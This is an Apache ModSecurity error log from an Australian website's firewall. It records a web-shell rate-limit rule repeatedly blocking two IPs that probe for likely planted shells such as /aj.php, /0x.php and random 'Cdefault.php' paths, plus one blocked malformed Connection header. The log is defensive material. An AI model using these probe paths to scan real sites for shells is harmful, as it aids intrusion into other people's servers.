[Thu Apr 02 20:12:57.695742 2026] [:error] [pid 23927:tid 23950] [client 74.248.134.192:48753] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "ac5dSUsZwqCndhl9uKC2PQAAAZU"]
[Thu Apr 02 20:12:58.247869 2026] [:error] [pid 59305:tid 59315] [client 74.248.134.192:19442] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "ac5dSqr2tV4rDwKFxKeQVgAAAMY"]
[Thu Apr 02 20:12:59.378317 2026] [:error] [pid 59200:tid 59247] [client 74.248.134.192:25144] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "ac5dS7fP26txrdLs3Ep3kgAAAEc"]
[Thu Apr 02 20:13:00.312209 2026] [:error] [pid 59194:tid 59236] [client 74.248.134.192:47521] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "ac5dTBMpAeV11hcQehxHbgAAABc"]
[Thu Apr 02 20:13:01.140732 2026] [:error] [pid 59201:tid 59291] [client 74.248.134.192:48715] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "ac5dTcAC0Tw8eL6gzZ4fKwAAAJg"]
[Thu Apr 02 20:13:01.690354 2026] [:error] [pid 23927:tid 23947] [client 74.248.134.192:33671] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "ac5dTUsZwqCndhl9uKC2PwAAAZI"]
[Thu Apr 02 20:13:02.379716 2026] [:error] [pid 59200:tid 59252] [client 74.248.134.192:53265] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "ac5dTrfP26txrdLs3Ep3lAAAAEw"]
[Thu Apr 02 20:13:03.140465 2026] [:error] [pid 59200:tid 59246] [client 74.248.134.192:33705] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filer.php"] [unique_id "ac5dT7fP26txrdLs3Ep3lgAAAEY"]
[Thu Apr 02 20:13:03.723674 2026] [:error] [pid 29467:tid 29493] [client 74.248.134.192:6036] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filer.php"] [unique_id "ac5dT74VUBFCJAq-WOmJNwAAARc"]
[Thu Apr 02 20:13:04.444532 2026] [:error] [pid 59201:tid 59278] [client 74.248.134.192:6061] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filer.php"] [unique_id "ac5dUMAC0Tw8eL6gzZ4fMAAAAIs"]
[Thu Apr 02 20:13:05.324493 2026] [:error] [pid 54384:tid 54399] [client 74.248.134.192:33682] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filer.php"] [unique_id "ac5dUdWWpaby3TVN7McTiAAAAc0"]
[Thu Apr 02 20:13:06.135722 2026] [:error] [pid 59200:tid 59241] [client 74.248.134.192:56391] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lites.php"] [unique_id "ac5dUrfP26txrdLs3Ep3lwAAAEE"]
[Thu Apr 02 20:13:06.745165 2026] [:error] [pid 23927:tid 23932] [client 74.248.134.192:45043] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lites.php"] [unique_id "ac5dUksZwqCndhl9uKC2SQAAAYM"]
[Thu Apr 02 20:13:07.492075 2026] [:error] [pid 59194:tid 59216] [client 74.248.134.192:33666] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lites.php"] [unique_id "ac5dUxMpAeV11hcQehxHcgAAAAM"]
[Thu Apr 02 20:13:08.298272 2026] [:error] [pid 59305:tid 59326] [client 74.248.134.192:36875] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lites.php"] [unique_id "ac5dVKr2tV4rDwKFxKeQcgAAANE"]
[Thu Apr 02 20:13:09.074249 2026] [:error] [pid 29467:tid 29494] [client 74.248.134.192:53270] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "ac5dVb4VUBFCJAq-WOmJQAAAARg"]
[Thu Apr 02 20:13:09.914032 2026] [:error] [pid 37543:tid 37556] [client 74.248.134.192:58296] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "ac5dVXhdk2bEYJCvILbgHQAAAUs"]
[Thu Apr 02 20:13:10.598622 2026] [:error] [pid 29467:tid 29478] [client 74.248.134.192:53257] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "ac5dVr4VUBFCJAq-WOmJRgAAAQg"]
[Thu Apr 02 20:13:11.172957 2026] [:error] [pid 29467:tid 29485] [client 74.248.134.192:38274] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "ac5dV74VUBFCJAq-WOmJSgAAAQ8"]
[Thu Apr 02 20:13:11.769150 2026] [:error] [pid 54384:tid 54397] [client 74.248.134.192:34315] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/he.php"] [unique_id "ac5dV9WWpaby3TVN7McTjgAAAcs"]
[Thu Apr 02 20:13:12.449373 2026] [:error] [pid 59200:tid 59249] [client 74.248.134.192:34332] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/he.php"] [unique_id "ac5dWLfP26txrdLs3Ep3oAAAAEk"]
[Thu Apr 02 20:13:13.020340 2026] [:error] [pid 59201:tid 59282] [client 74.248.134.192:34322] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/he.php"] [unique_id "ac5dWcAC0Tw8eL6gzZ4fMwAAAI8"]
[Thu Apr 02 20:13:13.633905 2026] [:error] [pid 37543:tid 37548] [client 74.248.134.192:39394] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/he.php"] [unique_id "ac5dWXhdk2bEYJCvILbgIAAAAUM"]
[Thu Apr 02 21:32:39.161669 2026] [:error] [pid 23927:tid 23942] [client 120.71.59.24:41802] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ac5v90sZwqCndhl9uKDVQgAAAY0"]
[Thu Apr 02 22:02:37.813244 2026] [:error] [pid 54384:tid 54393] [client 20.215.208.99:48240] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac52_dWWpaby3TVN7Mc2ugAAAcc"]
[Thu Apr 02 22:02:38.728454 2026] [:error] [pid 59305:tid 59310] [client 20.215.208.99:48211] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac52_qr2tV4rDwKFxKfLxQAAAME"]
[Thu Apr 02 22:02:39.759163 2026] [:error] [pid 59305:tid 59311] [client 20.215.208.99:29208] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac52_6r2tV4rDwKFxKfL2QAAAMI"]
[Thu Apr 02 22:02:41.129986 2026] [:error] [pid 59305:tid 59319] [client 20.215.208.99:62001] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac53Aar2tV4rDwKFxKfL7wAAAMo"]
[Thu Apr 02 22:02:43.950376 2026] [:error] [pid 59201:tid 59277] [client 20.215.208.99:5504] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac53A8AC0Tw8eL6gzZ45wwAAAIo"]
[Thu Apr 02 22:02:44.607874 2026] [:error] [pid 59201:tid 59267] [client 20.215.208.99:65066] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac53BMAC0Tw8eL6gzZ45xQAAAIA"]
[Thu Apr 02 22:02:48.485895 2026] [:error] [pid 59201:tid 59276] [client 20.215.208.99:5545] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac53CMAC0Tw8eL6gzZ45ygAAAIk"]
[Thu Apr 02 22:02:53.201385 2026] [:error] [pid 23927:tid 23943] [client 20.215.208.99:65084] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac53DUsZwqCndhl9uKDhPAAAAY4"]
[Thu Apr 02 22:02:54.232983 2026] [:error] [pid 29467:tid 29471] [client 20.215.208.99:5260] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac53Dr4VUBFCJAq-WOnXywAAAQE"]
[Thu Apr 02 22:02:55.159628 2026] [:error] [pid 23927:tid 23930] [client 20.215.208.99:27111] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac53D0sZwqCndhl9uKDhPgAAAYE"]
[Thu Apr 02 22:02:55.799832 2026] [:error] [pid 59200:tid 59257] [client 20.215.208.99:5808] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac53D7fP26txrdLs3EqM9QAAAFE"]
[Thu Apr 02 22:02:56.499213 2026] [:error] [pid 59201:tid 59288] [client 20.215.208.99:29234] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac53EMAC0Tw8eL6gzZ450QAAAJU"]
[Thu Apr 02 22:02:57.559098 2026] [:error] [pid 23927:tid 23934] [client 20.215.208.99:29186] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac53EUsZwqCndhl9uKDhQQAAAYU"]
[Thu Apr 02 22:02:58.325316 2026] [:error] [pid 59305:tid 59312] [client 20.215.208.99:65035] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac53Eqr2tV4rDwKFxKfMcQAAAMM"]
[Thu Apr 02 22:02:58.912055 2026] [:error] [pid 37543:tid 37563] [client 20.215.208.99:49933] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac53Enhdk2bEYJCvILYAPAAAAVI"]
[Thu Apr 02 22:02:59.927894 2026] [:error] [pid 23927:tid 23944] [client 20.215.208.99:5448] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac53E0sZwqCndhl9uKDhRQAAAY8"]
[Thu Apr 02 22:03:01.431651 2026] [:error] [pid 37543:tid 37555] [client 20.215.208.99:48879] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac53FXhdk2bEYJCvILYARQAAAUo"]
[Thu Apr 02 22:03:02.612538 2026] [:error] [pid 23927:tid 23932] [client 20.215.208.99:43901] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac53FksZwqCndhl9uKDhSQAAAYM"]
[Thu Apr 02 22:03:04.637412 2026] [:error] [pid 29467:tid 29479] [client 20.215.208.99:61995] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac53GL4VUBFCJAq-WOnX1gAAAQk"]
[Thu Apr 02 22:03:08.512733 2026] [:error] [pid 59305:tid 59326] [client 20.215.208.99:5303] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac53HKr2tV4rDwKFxKfMpwAAANE"]
[Thu Apr 02 22:03:10.664199 2026] [:error] [pid 59201:tid 59280] [client 20.215.208.99:49942] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac53HsAC0Tw8eL6gzZ452QAAAI0"]
[Thu Apr 02 22:03:13.009757 2026] [:error] [pid 54384:tid 54386] [client 20.215.208.99:38777] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac53IdWWpaby3TVN7Mc3KAAAAcA"]
[Thu Apr 02 22:03:14.337103 2026] [:error] [pid 29467:tid 29471] [client 20.215.208.99:29203] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac53Ir4VUBFCJAq-WOnX8AAAAQE"]
[Thu Apr 02 22:03:15.342487 2026] [:error] [pid 23927:tid 23949] [client 20.215.208.99:38772] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac53I0sZwqCndhl9uKDhVAAAAZQ"]
[Thu Apr 02 22:03:16.188230 2026] [:error] [pid 37543:tid 37558] [client 20.215.208.99:18938] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac53JHhdk2bEYJCvILYAUwAAAU0"]
[Thu Apr 02 22:03:16.790917 2026] [:error] [pid 59200:tid 59240] [client 20.215.208.99:38720] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac53JLfP26txrdLs3EqM-gAAAEA"]
[Thu Apr 02 22:03:17.746584 2026] [:error] [pid 23927:tid 23944] [client 20.215.208.99:49941] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac53JUsZwqCndhl9uKDhWQAAAY8"]
[Thu Apr 02 22:03:18.495658 2026] [:error] [pid 59201:tid 59288] [client 20.215.208.99:5474] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac53JsAC0Tw8eL6gzZ45_AAAAJU"]
[Thu Apr 02 22:03:19.034647 2026] [:error] [pid 54384:tid 54397] [client 20.215.208.99:27084] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac53J9WWpaby3TVN7Mc3LAAAAcs"]
[Thu Apr 02 22:03:19.692625 2026] [:error] [pid 59201:tid 59290] [client 20.215.208.99:5538] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac53J8AC0Tw8eL6gzZ46BAAAAJc"]
